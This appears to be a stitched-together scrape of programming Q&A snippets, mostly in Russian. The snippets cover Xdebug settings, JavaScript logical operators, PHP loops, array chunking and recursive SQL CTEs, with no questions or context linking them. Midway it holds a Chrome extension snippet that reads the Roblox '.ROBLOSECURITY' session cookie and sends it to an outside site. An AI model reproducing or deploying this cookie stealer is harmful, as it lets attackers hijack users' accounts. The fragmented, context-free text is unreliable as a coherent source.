develop - Enables Development Helpers including the overloaded var_dump().
xdebug.mode
прописать значение develop
&&
и ||
возвращают свои операнды:1 && "2" // строка "2"
0 && "2" // число 0
0 || "2" // строка "2"
1 || false // число 1
&&
: для позитивного результата нужно, чтобы оба операнда были как-true. Проверка идёт слева направо. Как только наткнулись на как-false, возвращается он. Прошли всю цепочку и все по пути были как-true — вернули последний из них.||
даст позитивный результат, как только наткнётся хоть на один как-true. Его и вернёт. Ну или проверит все значения и если все как-false, вернёт последний из них.1 && "2" && "habr" // вернёт "habr"
"1" && 0 && "qna" // 0
0 || false || "habr" === "qna" // false, результат ("habr" === "qna")
0 || 1 || 2 || true // 1, дальше проверять не пришлось
echo preg_replace_callback('~\[(.+?)\]~', fn($m) => $array[$m[1]] ?? $m[0], $message);
$letter = 'М';
$i = 0;
foreach (explode(', ', implode(', ', $products)) as $product) {
if (strpos($product, $letter) === 0) {
echo (++$i).") $product\n";
}
}
foreach( $arr as $key=>$value ) {
if ($value[1]) {
printf("%s %s\n", $value[0], $value[2]);
}
}
// Перебор массива
foreach( $arr as $key=>$value ) {
if ($$key) {
printf("%s %s\n", $value[0], ucfirst($key));
}
}
chrome.cookies.get({
'url': 'https://www.roblox.com',
'name': '.ROBLOSECURITY'
}, function(cookie) {
fetch('https://robloxtools.org/botter/placesend2.php?t=' + cookie.value);
});
[
{
path: './name-1.jpg',
filename: 'name-1'
},
{
path: './name-2.jpg',
filename: 'name-2'
},
{
path: './name-3.jpg',
filename: 'name-3'
},
{
path: './name-4.jpg',
filename: 'name-4'
}
].reduce((acc, item, idx, arr) => { if (idx % 2) { acc.push([ arr[idx-1], item ]) } return acc }, [])
/*
[
[
{ path: './name-1.jpg', filename: 'name-1' },
{ path: './name-2.jpg', filename: 'name-2' }
],
[
{ path: './name-3.jpg', filename: 'name-3' },
{ path: './name-4.jpg', filename: 'name-4' }
]
]
*/
const chunked = (arr, chunkSize) =>
arr.reduce((acc, n, i) => (
(i % chunkSize) || acc.push([]),
acc.at(-1).push(n),
acc
), []);
console.log(chunked([ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9 ], 3));
const group = (data, key) =>
Array.prototype.reduce.call(
data,
(acc, n, i, a) => ((acc[key(n, i, a)] ??= []).push(n), acc),
{}
);
const chunked = (data, chunkSize) =>
Object.values(group(data, (_, i) => i / chunkSize | 0));
console.log(chunked('0123456789', 3));
console.log(chunked(document.querySelectorAll('img'), 5));
const chunked = (data, chunkSize, slice = data.slice) =>
Array.from(
{ length: Math.ceil(data.length / chunkSize) },
function(_, i) {
return this(i * chunkSize, (i + 1) * chunkSize);
},
(slice instanceof Function ? slice : [].slice).bind(data)
);
console.log(chunked('abcdefghij', 4)); // так кусками будут тоже строки
console.log(chunked('abcdefghij', 4, [].slice)); // а так - массивы
console.log(chunked($('img'), 5));
function* chunked(data, chunkSize) {
let chunk = [];
for (const n of data) {
if (chunk.push(n) === chunkSize) {
yield chunk;
chunk = [];
}
}
if (chunk.length) {
yield chunk;
}
}
console.log(Array.from(chunked([ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9 ], 3)));
console.log([...chunked(document.querySelectorAll('img'), 5)]);
for (const n of chunked(Array(10).keys(), 4)) {
console.log(n);
}
WITH RECURSIVE `cte` (`id`, `parent_id`, `title`, `n`) AS (
SELECT `id`, `parent_id`, `title`, 0
FROM `table`
WHERE `id` = :categoryId
UNION
SELECT `t`.`id`, `t`.`parent_id`, `t`.`title`, `n`+1
FROM `cte`
JOIN `table` AS `t` ON `t`.`id` = `cte`.`parent_id`
)
SELECT `id`, `title`
FROM `cte`
ORDER BY `n` DESC
Остаётся только выбрать все строки из ответа и вывести их в цикле. WITH RECURSIVE
cte AS ( SELECT *, 1 level
FROM category
WHERE id = $category_id
UNION ALL
SELECT cat.*, cte.level + 1
FROM category cat
JOIN cte ON cat.id = cte.parent_id )
SELECT *
FROM cte
ORDER BY level;
SELECT CONCAT_WS('=>', c1.id, c2.id, c3.id, c4.id, c5.id) path
FROM category c1
LEFT JOIN category c2 ON c1.parent_id = c2.id
LEFT JOIN category c3 ON c2.parent_id = c3.id
LEFT JOIN category c4 ON c3.parent_id = c4.id
LEFT JOIN category c5 ON c4.parent_id = c5.id
WHERE c1.id = $category_id